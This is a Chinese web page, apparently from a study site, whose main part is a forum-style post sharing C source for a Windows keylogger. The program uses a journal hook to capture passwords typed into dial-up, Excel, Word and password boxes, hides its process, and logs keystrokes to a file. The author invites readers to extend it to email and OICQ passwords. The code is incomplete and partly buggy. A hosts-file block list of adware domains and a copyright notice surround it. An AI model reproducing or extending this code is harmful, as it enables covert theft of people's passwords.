127.0.0.1 localhost
127.0.0.1 3721.com #3721网络实名
127.0.0.1 3721.net #3721网络实名
127.0.0.1 cnsmin.3721.com #3721网络实名
127.0.0.1 download.3721.com #3721网络实名
127.0.0.1 www.3721.com #3721网络实名
127.0.0.1 www.3721.net #3721网络实名
一个截获用户输入密码程序
整理东西的时候翻出了个几年前的程序,功能是当用户输入拨号、EXCEL,WORD密码时,将其保存在一个文件里。程序用的是日志钩子,这样就不用象其他全局HOOK那样,必须单写一个DLL。
为了让初学者深入了解,将源代码贴上来,(SDK程序VC,BCB等WIN下的C编译器均可编译)象现在那些记录E-MAIL密码,OICQ密码等工具都是这原理,俺当时写着玩意的时候还没有OICQ。
有兴趣的可以自己加上。
#include <windows.h>
#define KeyPMask 0x80000000
#define SERVICE_PROC 1
#define UNSERVICE_PROC 0
#define RUN "//GmkMon.exe"
typedef struct tagKEYDATA{
char kKey;
SHORT kShift;
SHORT kCaps;
SHORT kNum;
BOOL bShift;
BOOL bCaps;
BOOL bNum;
}KEYDATA,*LPKEYDATA;
HHOOK hHook=NULL;
DWORD (WINAPI *RegisterServiceProcess)(DWORD,DWORD);
LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam);
BOOL WINAPI HideProc(int mode)
{
HINSTANCE DLLInst=LoadLibrary("KERNEL32.DLL");
if(DLLInst)
{
RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD))
GetProcAddress(DLLInst,"RegisterServiceProcess");
if(RegisterServiceProcess)
{
RegisterServiceProcess(GetCurrentProcessId(),mode);
return TRUE;
}
else
return FALSE;
}
else return FALSE;
}
BOOL WINAPI IsPassWindow()
{
HWND hWnd,curHwnd;
TCHAR szTemp[MAX_PATH];
DWORD dwsTyle;
hWnd=GetActiveWindow();
if(hWnd==NULL) return FALSE;
curHwnd =hWnd;
while(curHwnd!=NULL)
{
hWnd=curHwnd;
curHwnd=GetParent(hWnd);
}
dwsTyle=GetWindowLong(hWnd,GWL_STYLE);
if(dwsTyle & ES_PASSWORD) //普通密码框
return TRUE;
else if(!lstrcmp(szTemp,"EDTBX")) //Excel密码
return TRUE;
else if(!lstrcmp(szTemp,"RichEdit20W") && (dwsTyle & WS_SYSMENU))
return TRUE; //WORD密码
GetWindowText(hWnd,szTemp, sizeof(szTemp));
if(!strncmp(szTemp,"连接到",6)) //拨号网络
return TRUE;
return FALSE;
}
TCHAR WINAPI GetKey(int nKey)
{
KEYDATA kd;
kd.kShift=GetKeyState(VK_SHIFT);
kd.kCaps=GetKeyState(0x14);
kd.kNum=GetKeyState(0x90);
kd.bShift=(kd.kShift & KeyPMask)==KeyPMask;
kd.bCaps=(kd.kCaps & 1)==1;
kd.bNum=(kd.kNum & 1)==1;
if(nKey>=48 && nKey<=57)
if(!kd.bShift) return (kd.kKey=nKey);
if(nKey>=65 && nKey<=90)
{
if(!kd.bCaps)
if(kd.bShift) kd.kKey=nKey;
else kd.kKey=nKey+32;
else if (kd.bShift) kd.kKey=nKey+32;
else kd.kKey=nKey;
return kd.kKey;
}
if(nKey>=96 && nKey<=105) // 小键盘0-9
if(kd.bNum)
return (kd.kKey=(nKey-96+48));
if(nKey>=186 && nKey<=222) // 其他键
{
switch(nKey)
{
case 186:
if(!kd.bShift) kd.kKey=';';else kd.kKey=':';
break;
case 187:
if(!kd.bShift) kd.kKey='=';else kd.kKey='+' ;
break;
case 188:
if (!kd.bShift) kd.kKey=',';else kd.kKey='<' ;
break;
case 189:
if (!kd.bShift) kd.kKey='-';else kd.kKey='_' ;
break;
case 190:
if (!kd.bShift) kd.kKey='.';else kd.kKey='>' ;
break;
case 191:
if (!kd.bShift) kd.kKey='/';else kd.kKey='?' ;
break;
case 192:
if (!kd.bShift) kd.kKey='`' ; else kd.kKey='~' ;
break;
case 219:
if (!kd.bShift) kd.kKey='[' ; else kd.kKey='{' ;
break;
case 220:
if (!kd.bShift) kd.kKey='//' ; else kd.kKey='|' ;
break;
case 221:
if (!kd.bShift) kd.kKey=']' ; else kd.kKey='}' ;
break;
case 222:
if (!kd.bShift) kd.kKey='//'; else kd.kKey='//';
break;
default:kd.kKey='n' ;break;
}
if(kd.kKey!='n') return kd.kKey;
}
}
① 凡本网注明稿件来源为"原创"的所有文字、图片和音视频稿件,版权均属本网所有。任何媒体、网站或个人转载、链接转贴或以其他方式复制发表时必须注明"稿件来源:我考网",违者本网将依法追究责任;
② 本网部分稿件来源于网络,任何单位或个人认为我考网发布的内容可能涉嫌侵犯其合法权益,应该及时向我考网书面反馈,并提供身份证明、权属证明及详细侵权情况证明,我考网在收到上述法律文件后,将会尽快移除被控侵权内容。